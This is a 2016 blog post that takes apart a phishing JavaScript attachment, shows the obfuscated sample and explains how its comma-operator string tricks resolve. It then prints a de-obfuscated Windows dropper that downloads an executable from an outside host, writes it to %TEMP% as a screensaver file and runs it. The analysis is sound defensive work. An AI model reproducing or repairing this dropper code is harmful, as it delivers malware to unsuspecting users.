Codehead's Corner
Random ramblings on hacking, coding, fighting with infrastructure and general tech
De-obfuscating JS Malware
Posted: 5 Apr 2016 at 11:27 by Codehead

Due the age of some of my email accounts and the stupid things I did when I was less careful with my contact details, I have a constant flow of spam and malware to some parts of my inbox. This is a good thing because I get to pick stuff apart and find out what’s going on in the shady world of digital con artists.

A few weeks ago I received several emails claiming to be important final demands. The messages urged me to view an attached document, which was a JavaScript file. That’s a pretty feeble attempt at phishing, but I guess some people might fall for it. I was interested to see what the script was actually going to do, so I tried to view the content. My mail client quite rightly denied me access to the file, even when I tried to bypass the blocks and warnings. In the end I had to go to the server and pull the attachment manually.

All the messages had the same content, a small chunk of JavaScript which was obfuscated and looked like this:

    aWdQa0qJA = this['Act' + ('De8', 'fG', 'xoaqcF', 'i') + 'v' + ('Vw9ocn',
'RlnBZ2', 'JbmYj', 'e') + 'X' + ('0pL', 'zbA', 'hob', 'O') + 'bj' + ('A0VqS',
'Otf', 'bZ2xXl', 'e') + 'c' + ('mpW', 'Z8meq', 'pei0f', 't') + ''];
    var axXxxog8l = new aWdQa0qJA('WS' + ('veA', '5LK8j', 'tjUQJ', 'c') + 'ri' +
('JZYXp', 'nD1nS', 'OZL', 'p') + 't' + ('w9lhh', '0LZUB', 'LdsKb', '.') + 'S' +
('UON', 'cFc0FY', 'fv', 'h') + 'e' + ('MvgNg', 'HSZ', '5rdh', 'l') + 'l');
    var aWru8LLR6 = axXxxog8l['Ex' + ('Fa8', 'QlSwjW', 'OamBF', 'p') + 'an' +
('VT6N', 'zTjNab', 'nQ', 'd') + 'E' + ('IcRAI', 'xu', 'HRBmv0', 'n') + 'v' +
('65hG', 'Bu9NFx', '12mdT', 'i') + 'ro' + ('4tr4bj', 'xOGPd', 'VvuU7', 'n') +
'me' + ('UEB', 'FDUT', 'QQCk', 'n') + 't' + ('vBn2q', 'SD', 'N9lHgk', 'S') +
'tr' + ('YnI', '1Cyzt', 'cNG', 'i') + 'ng' + ('ihlI', 'emc', 'vy', 's') +
'']('%TE' + ('vWRTEw', 'h4tKsF', '9zQs', 'M') + 'P%' + ('acq', 'pr2X', 'OQ',
'/') + '') + "OvFBgqlt"+'.sc' + ('ApeuG', 'YqL', 'YVdOn', 'r') + '';
    var aA6iMNLKK = new aWdQa0qJA('MS' + ('gq5FS', 'D3', 'uKHdk6', 'X') + 'M' +
('NKNdwr', 'rE', 'OI', 'L') + '2' + ('ZqrF', 'zim', 'N6d0', '.') + 'X' +
('sg7c', 'lI', 'xaax', 'M') + 'LH' + ('xlSYMx', 'mQD', 'DJ6Daq', 'T') + 'T' +
('yivT', '0q', 'aX', 'P') + '');

I’ve cut the source down, but you get the idea.

You can see some constructs like variable assignments and objects being created with new, but the rest is a mess.

The key to unravelling this obfuscation is the chunks of text in brackets. These are anonymous functions and the use of the comma operator means that they will always resolve to the last operand.

That first string looks like this in the source:

'Act' + ('De8', 'fG', 'xoaqcF', 'i') + 'v' + ('Vw9ocn',
'RlnBZ2', 'JbmYj', 'e') + 'X' + ('0pL', 'zbA', 'hob', 'O') + 'bj' + ('A0VqS',
'Otf', 'bZ2xXl', 'e') + 'c' + ('mpW', 'Z8meq', 'pei0f', 't')

After the anonymous functions execute it looks like this:

'Act' + ('i') + 'v' + ('e') + 'X' + ('O') + 'bj' + ('e') + 'c' + ('t')

Finally the concatenation resolves to:

'ActiveXObject'

Applying the same method across all the mangled strings reveals the original JavaScript code.

The variable names are random in another attempt to disguise the purpose of the code, so I’ve given them with more useful names. The underscores in the initial declarations are just there to stop the script working in case anyone is daft enough to run it.

_ActiveXObj = this['ActiveXObject'];
_WScr_Shell = new ActiveXObj('WScript.Shell');
var _Temp_Scr_Path = WScr_Shell['ExpandEnvironmentStrings']('%TEMP/OvFBgqlt.scr');
var _XmlHttpObj = new ActiveXObj('MSXML2.XMLHTTP');

    XmlHttpObj['onreadystatechange'] = function() {
        if (XmlHttpObj['readystate'] === 4) {
            var _AdoDbStream = new ActiveXObj('ADODB.Stream');
            AdoDbStream['open']();
            AdoDbStream['type'] = 1;
            AdoDbStream['write'](XmlHttpObj['ResponseBody']);
            AdoDbStream['position'] = 0;
            AdoDbStream['saveToFile'](Temp_Scr_Path, 2);
            AdoDbStream['close']();
        };
    };
    try {
        _RunStr = 'Run';
        XmlHttpObj['open']('GET' , 'http://cafecl.1pworks.com/43543r34r/843tf.exe', false);
        XmlHttpObj['send']();
        WScr_Shell[RunStr](Temp_Scr_Path, 0, 0);      
    } catch (at1yRhHcS) {};

So we see that the code is actually a Windows file dropper. It’s fetching a file from the cafecl.1pworks.com in the try/catch block. The request’s statechange handler waits for state 4 (request complete) and then copies the file as a randomly named screensaver to the %TEMP% folder. Finally, the new .scr binary is executed.

1pworks.com is a Japanese site and looks like a shared hosting operation, so I’m guessing the cafecl site was compromised and used to store the malicious binary.

Unfortunately, by the time I’d got around to decoding the script, the file was long gone, but Googling the URL shows that its presence was spotted by a few malware monitors:

https://www.virustotal.com/en/domain/cafecl.1pworks.com/information/

https://www.threatminer.org/domain.php?q=cafecl.1pworks.com

Next time I’ll have to be quicker to grab the binary sample for further analysis.

Categories: Malware Teardown

Site powered by Hugo.
Polymer theme by pdevty, tweaked by Codehead